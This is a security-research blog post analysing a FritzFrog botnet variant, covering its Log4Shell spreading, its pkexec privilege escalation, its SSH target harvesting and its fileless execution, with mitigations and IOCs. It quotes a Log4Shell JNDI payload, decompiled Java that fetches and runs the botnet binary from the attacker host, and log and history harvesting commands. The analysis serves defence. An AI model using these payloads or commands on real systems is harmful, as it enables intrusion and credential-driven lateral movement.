Frog4Shell — FritzFrog Botnet Adds One-Days to Its Arsenal
Editorial and additional commentary by Tricia Howard
Executive summary
The Akamai Security Intelligence Group (SIG) has uncovered details about a new variant of the FritzFrog botnet, which abuses the 2021 Log4Shell vulnerability.
Over the years we have seen more than 20,000 FritzFrog attacks, and 1,500+ victims.
The malware infects internet-facing servers by brute forcing weak SSH credentials. Newer variants now read several system files on compromised hosts to detect potential targets for this attack that have a high likelihood of being vulnerable.
The vulnerability is exploited in a brute-force manner that attempts to target as many vulnerable Java applications as possible.
The malware also now also includes a module to exploit CVE-2021-4034, a privilege escalation in the polkit Linux component. This module enables the malware to run as root on vulnerable servers.
- We have included indicators of compromise (IOCs) and additional mitigation measures in this blog post to assist in the prevention of FritzFrog infection.
Background on FritzFrog
Akamai is continuously monitoring threats via our global network of sensors, including threats we previously discovered. Among these is the FritzFrog botnet (originally identified in 2020) a sophisticated, Golang-based peer-to-peer botnet compiled to support both AMD- and ARM-based machines. The malware is actively maintained and has evolved over the years by adding and improving capabilities.
FritzFrog has traditionally hopped around by using SSH brute force, and has successfully compromised thousands of targets over the years as a result. Each compromised host becomes part of FritzFrog’s network — it communicates with its infected peers to share information, payloads, and configuration.
Thanks to the consistent upkeep, the malware includes many interesting features in its arsenal, including the additions we’ll discuss in this blog, such as the introduction of Log4Shell exploitation. For example, it attempts to avoid touching the disk to limit detection opportunities, supports communication over TOR, and even has an “AntiVirus” module that kills competing malware.
Using Log4Shell as an infection vector
Traditionally, FritzFrog relied on SSH brute force as its sole infection vector, but recent versions of the malware now include a new one: Log4Shell exploitation, which in our pond is known as the toadally rad “Frog4Shell”.
The Log4Shell vulnerability was initially identified in December 2021 and triggered an industry-wide patching frenzy that lasted for months. Even today, 2 years later, there are many internet-facing applications that are still vulnerable to this exploit.
Vulnerable internet-facing assets are a serious problem, but FritzFrog actually poses a risk to an additional type of assets — internal hosts. When the vulnerability was first discovered, internet-facing applications were prioritized for patching because of their significant risk of compromise. Contrastly, internal machines, which were less likely to be exploited, were often neglected and remained unpatched — a circumstance that FritzFrog takes advantage of.
As part of its spreading routine, the malware attempts to target all hosts in the internal network. It does so by calling the net__Interface_Addrs standard Go function to identify reachable subnets and target the possible addresses in each of them. In Figure 1, we can see the malware attempting to connect to all the addresses in the local network.
This means that even if the “high-profile” internet-facing applications have been patched, a breach of any asset in the network by FritzFrog can expose unpatched internal assets to exploitation.
FritzFrog identifies potential Log4Shell targets by looking for HTTP servers over ports 8080, 8090, 8888 and 9000. To trigger the vulnerability, an attacker needs to force the vulnerable log4j application to log data containing a payload (Table 1):
${jndi:ldap://<attacker_address>/<payload>}
Table 1: Log4Shell payload example
This payload, which is incorrectly parsed by the vulnerable log4j library, forces the Java application to connect to an LDAP server specified in “attacker_address”, download a Java class from it, and execute it (Figure 2).
FritzFrog attempts to exploit this vulnerability by injecting the payload through HTTP headers (Figure 3). It does so in an interesting manner — rather than attempting to surgically target a specific HTTP header, FritzFrog targets pretty much all of them.
FritzFrog sends the Log4Shell payload in numerous HTTP headers, hoping that at least one of them gets logged by the application. This brute force exploitation approach aims to be a generic Log4Shell exploit that can affect a wide variety of applications.
The injected payload seen in Figure 3 makes the application connect back to FritzFrog’s own IP address — the malware hosts its own LDAP server that is used to serve the malicious Java class. Upon execution, the Java class will connect to the attacking machine over HTTP to download the malware binary that is hosted under the name “robots.txt” (Table 2).
String ff_host_http_server_address = ff_host_http_server_address.trim();
payload_url = new URL("http://" + ff_host_http_server_address + "/" +
ff_username + "/robots.txt");
payload_url_stream = payload_url.openStream();
Table 2: Decompiled Log4Shell Java payload downloading the FritzFrog binary
The “robots.txt” file is saved under the name “ifconfig”. The Java class will then execute the ifconfig binary and delete the file (Table 3).
FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
ff_payload_file.write(var2.toByteArray());
ff_payload_file.close();
ff_payload_file_exec = new File(paths[counter] + "ifconfig");
ff_payload_file_exec.setExecutable(true);
Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
if (ff_proc.waitFor() == 0) {
ff_payload_file_exec.delete();
return;
}
Table 3: Decompiled Log4Shell Java payload executing the FritzFrog binary
Figure 4 illustrates the Log4Shell exploitation flow used by FritzFrog.
SSH target discovery methods
In addition to adding Log4Shell exploitation, FritzFrog also improved its ability to identify targets for its main infection vector — SSH brute force. While continuing to target randomly generated IP addresses, FritzFrog will now also attempt to identify specific SSH targets by enumerating several system logs on each of its victims.
auth logs
The Linux auth.log files contain, among other things, information about connections to the machine. FritzFrog targets active clients in the network by scanning these logs and looking for IP addresses. To access the data, the malware executes the following commands:
cat /var/log/auth*
zcat /var/log/auth*
These commands will output the content of all the cleartext and compressed log files.
SSH known hosts
When a host connects to a remote SSH server, the connection information is automatically saved to the ~/.ssh/known_hosts file. FritzFrog will extract the addresses of these hosts and target them.
This provides the malware with a list of active and reachable SSH servers. Moreover, since these servers are likely managed by the same owner as the compromised server, they also may share a similar weak password.
History file
All commands that are executed on Linux systems are saved in a special log called the history file. FritzFrog attempts to identify previous ssh and scp connections by executing the following command:
history | grep -E \"(scp|ssh)\"
FritzFrog will then extract the IP addresses from these commands and target them. Similar to the known_hosts file, this can provide a list of active and reachable SSH servers.
Privilege escalation
Another change that we observed was the addition of a privilege escalation capability to the malware. On its initial execution, FritzFrog will check the permissions of its process. If the executing user is not root, a function called “main_RunBlasty” will be called (Figure 5).
The “RunBlasty” function begins with the execution of the “which” command — a utility that enables locating the full path of other commands on the system (Figure 6).
We can see that the malware attempts to find the location of the pkexec binary. (Ring any vulnerability-related bells, aka vulneraBELLities?)
The malware then extracts two files that are embedded inside its own executable (Figure 7); the files are stored as strings, which are Base64-encoded gzipped files. The extracted files are called blasty and payload.so.
After creating the files, FritzFrog executes blasty — an ELF that was written in C. If we take a look at its code, we see that it is very simple — some interaction with environment variables, followed by the execution of pkexec (Figure 8).
Searching for these strings immediately leads us to this exploit code for CVE-2021-4034. This vulnerability in the polkit Linux component was disclosed by Qualys in 2022, and could allow privilege escalation on any Linux machine that was running polkit. Since it is installed by default on most Linux distributions, many unpatched machines are still vulnerable to this CVE today.
The exploit works by abusing the fact that pkexec is a SUID program; that is, it runs with root privileges even when executed by a weak user. The vulnerability enables forcing pkexec to load and execute an attacker-controlled library, leading to code execution as root.
Blasty exploits this vulnerability, making pkexec load and execute payload.so. As we can see in Figure 9, this library will set the uid and gid of the process to 0, meaning root, and execute root_update — FritzFrog’s binary.
Another interesting note is that blasty and payload.so are both compiled for the AMD64 architecture, even for FritzFrog variants that run on ARM. This means that the exploit will fail to run on any machines that don't run on an AMD64 CPU.
Defense evasion
FritzFrog continues to employ tactics to remain hidden and avoid detection. In particular, it takes special care to avoid dropping files to disk when possible. We have seen the developers use two Linux features to achieve this: /dev/shm and memfd_create.
/dev/shm
The first technique uses the /dev/shm folder (with shm meaning shared memory), which is a directory that is meant to enable efficient communication among different processes on the system (Figure 10). While it seems like a normal filesystem folder, /dev/shm is actually mapped directly to the RAM, and all files created under it never actually touch the disk.
FritzFrog uses this folder to enable fileless execution by writing files and executing them from /dev/shm. To monitor this activity, we can execute the malware and use the inotifywait utility to inspect file operations in /dev/shm. We see that the malware writes several files to this directory; for example, in Figure 8 the malware is seen writing all the pkexec exploit files to /dev/shm before executing them.
memfd_create
The second technique uses the memfd_create function, described in the man page as follows:
memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file, and so can be modified, truncated, memory-mapped, and so on. However, unlike a regular file, it lives in RAM.
So, similarly to the previous technique, we get a convenient way to create a file without touching the disk. FritzFrog uses this technique when executing its miner payload (Figure 11) — it writes the payload into an anonymous file created by memfd_create and executes it.
Mitigations
We recommend the following two mitigation strategies: using network segmentation and detecting the common malware tactics, techniques, and procedures.
Network segmentation can limit the potential impact of FritzFrog by preventing lateral movement. Software-based segmentation can be a relatively simple solution to spin up that has a long-lasting defensive impact.
We have provided a FritzFrog detection script to run on SSH servers that looks for the following FritzFrog indicators:
a. Running processes named nginx, ifconfig, php-fpm, apache2, or libexec, whose executable file no longer exists on the file system (as seen below)
b. Listening port 1234
Conclusion
The shift in tactics toward exploitation was a major trend for threat actors in 2023 — one-day and zero-day exploits were used extensively and proved to be some of the most effective methods to breach into organizations.
FritzFrog’s addition of exploitation capabilities to its arsenal shows a similar shift in this direction. The additional infection vector that is abusing the Log4Shell vulnerability, and the pkexec exploit module are two additions explored in this blog post that exemplify this shift. We believe that this trend will continue in upcoming FritzFrog versions, and it's likely only a matter of time before additional exploits are added to the malware.
The Akamai SIG will continue to monitor this threat and others like it and publish our findings. To keep up with FritzFrog updates and other security research, you can follow us on X (formerly Twitter).
IOCs
FritzFrog Binary
AMD
f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d
ARM
fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291
Log4Shell payload
52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8
“Blasty” pkexec exploit
Blasty
85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01
Payload.so
0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248